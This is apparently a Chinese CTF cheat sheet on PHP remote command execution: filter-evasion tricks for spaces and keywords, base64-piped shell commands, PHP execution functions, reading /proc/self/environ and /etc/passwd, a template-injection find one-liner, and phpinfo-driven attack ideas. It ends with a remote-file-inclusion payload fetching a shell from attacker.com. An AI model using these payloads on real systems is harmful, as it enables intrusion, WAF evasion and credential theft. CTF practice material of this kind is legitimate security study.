少女祈祷中...

查文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
cat /(绝对路径) or (相对路径)
特殊:
查询环境变量:env
/proc/1/environ

'''
权限要求高,普通用户可能无法直接读取。
内容通常是系统级别的配置,敏感信息较少,但是有可能读取到flag
'''

/proc/self/environ

#在渗透测试中常用于 LFI(本地文件包含)漏洞利用,通过读取 Web 进程的环境变量获取敏感信息。
1
print_r(scandir(current(localeconv())));   =  ls

绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#空格:
${IFS} #php用不了
\t
<
%09

#函数执行:
passthru("命令")
exec("命令", $output_array);
shell_exec("命令");
create_function('$a',"echo $a");
#查询命令
more /fl* # 分页显示(适合小文件)
less /fl* # 类似 more,但支持上下滚动
head /fl* # 显示文件前 10 行
tail /fl* # 显示文件后 10 行
nl /fl* # 显示文件内容并加行号
rev /fl* # 反向输出每一行
strings /fl* # 输出文件中的可打印字符(绕过二进制干扰)
sh
grep /fl*
rev /f?g #当*被禁用

#处理Linux绕过时候:
\ #l\s
`` #l``s
#拼接:
cmd=a=1;b=s$IFS/;$a$b
cmd=a=bas;b=e64;c=bas;d=h;echo Y2F0IC9mKg | $a$b -d | $c$d #base64

#ls禁用:
dir /

#当已知ls/根目录时候:
cmd=cat /$(dir -1 / | sed -n 5p)
cmd=more /[e-h][k-m][0-b][e-h] #e-h匹配到f,k-m匹配到l。。。
cmd=more /etc/p[0-b]sswd #组合使用也行

eg:
?rce=mor\e%09fla\g.php #当前目录下的flag

特殊:

1
print_r(scandir(hex2bin("2f"))); 		#读取根目录

常见执行函数:(php

1
2
3
4
5
6
7
8
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source", 
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
1
2
3
?com=nl /*               读取文件,和cat差不多
?com=ls /* 读取子目录
加*区别:没加是单层,加了是全部列出

eg:

加了:

image-20250410130235793

没加:

image-20250410130302620

找文件:

命令结构拆解

1. find
  • 作用: 在文件系统中递归搜索符合条件的文件/目录。
  • 定位: 最强大的文件搜索工具,支持多级过滤。
2. /
  • 含义: 搜索的起始路径为 根目录(即全盘搜索)。
  • 扩展:
    • 若缩小范围可替换为其他路径(如 /var/www 仅搜Web目录)。
    • CTF中常用路径:/home, /tmp, /opt, /var/www/html.
3. -iname "\*flag\*"
  • -iname: 按文件名匹配,不区分大小写(如匹配 Flag.txt, FLAG.log)。
  • "\*flag\*":
    • * 是通配符,匹配任意字符(包括空字符)。
    • flag 是关键词,整体匹配 文件名中包含 flag 的文件(如 secret_flag.txt, flag_hidden)。
1
2
3
4
5
eg:
find / -iname "*flag*"
php:<?php system('find / -iname "*flag*"');?>

任意:{{system('find / -iname "*fl*"')}}

绕过:

关键绕过技巧:

  • 斜杠 / 绕过
    使用 \ 转义符号干扰正则匹配,例如 f\lag 会被 Shell 解析为 flag,但 WAF 的正则 \/ 无法匹配到斜杠。
  • 空格绕过
    ${IFS}(Internal Field Separator)替代空格。
  • 空格绕过2:
    • \t代替空格,绕过空格过滤。
  • 动态生成字符
    $(printf "\x57") 会生成字符 W(ASCII 0x57),可能是为了构造文件名或混淆检测。
  • 文件名混淆
    flag.php 改写为 f\lag_831b69012c67b35f.p\hp,利用 \ 分割关键词,同时加入随机字符串避免直接匹配 flag

补充:

catnlod 的核心区别

命令 功能 输出示例 CTF 场景优势
cat 直接连接文件并输出内容 flag{example} 简洁,适合快速查看文本文件
nl 为每一行添加行号后输出 1 flag{example} 区分多文件内容,定位关键行
od 以八进制/十六进制格式转储文件内容 0000000 066 154 141 147 173 145... 读取二进制文件或绕过特殊字符过滤

找到phpinfo后该怎么做:

1. 敏感环境变量

  • 搜索关键词$_ENV$_SERVEREnvironment Variables
  • 可能泄露的信息:
    • 数据库密码、API密钥、FLAG路径。
    • Web根目录(DOCUMENT_ROOTSCRIPT_FILENAME)。
    • 临时文件路径(upload_tmp_dirsession.save_path)。

2. PHP配置选项

  • 关键配置项:
    • allow_url_fopen/allow_url_include:若为On,可能触发文件包含或远程代码执行(RFI)。
    • disable_functions:被禁用的高危函数(如systemexec),需绕过限制。
    • open_basedir:目录访问限制,尝试用glob://phar://协议绕过。
    • enable_dl:若为On,可能加载恶意扩展。
    • auto_prepend_file/auto_append_file:自动加载的文件路径,可能被利用。

3. 扩展与版本信息

  • PHP版本:检查是否过旧(如PHP <5.6存在已知漏洞)。
  • 扩展列表:extension_dir Loaded Configuration File
    • 若加载FFmpegImagick等扩展,可能触发命令执行。
    • memcachedredis等扩展可能泄露缓存数据。

4. 文件包含与路径泄露

  • 绝对路径:通过_SERVER['SCRIPT_FILENAME']等定位Web目录。
  • include_path:影响文件包含的默认路径,可能结合路径穿越(../)利用。

5. 其他攻击面

  • Session配置session.save_handlersession.upload_progress可能用于会话劫持。
  • HTTP头信息X-Powered-ByServer字段可能暴露服务器版本。
  • 临时文件upload_tmp_dir中的文件可能残留,尝试LFI读取。

6. 利用思路

  • 命令执行绕过:若disable_functions禁用常见函数,尝试用pcntl_execimap_openLD_PRELOAD劫持(需putenv可用)。
  • 反序列化漏洞:检查session.serialize_handler配置,结合phar://触发反序列化。
  • Log Poisoning:结合绝对路径,污染日志文件后包含执行。

操作步骤

  1. 浏览器搜索(Ctrl+F):输入上述关键词快速定位配置项。
  2. 检查注释和响应头:源码中可能隐藏提示或Flag。
  3. 结合题目场景:如文件上传+路径泄露=上传Webshell;反序列化+扩展=利用phar触发。

示例:若发现allow_url_include=Onopen_basedir未限制,可尝试通过php://input或远程文件包含(RFI)执行代码:

php

复制

1
2
3
?file=http://attacker.com/shell.txt
// 或
?file=php://filter/convert.base64-encode/resource=/etc/passwd

记得根据实际信息灵活调整攻击链!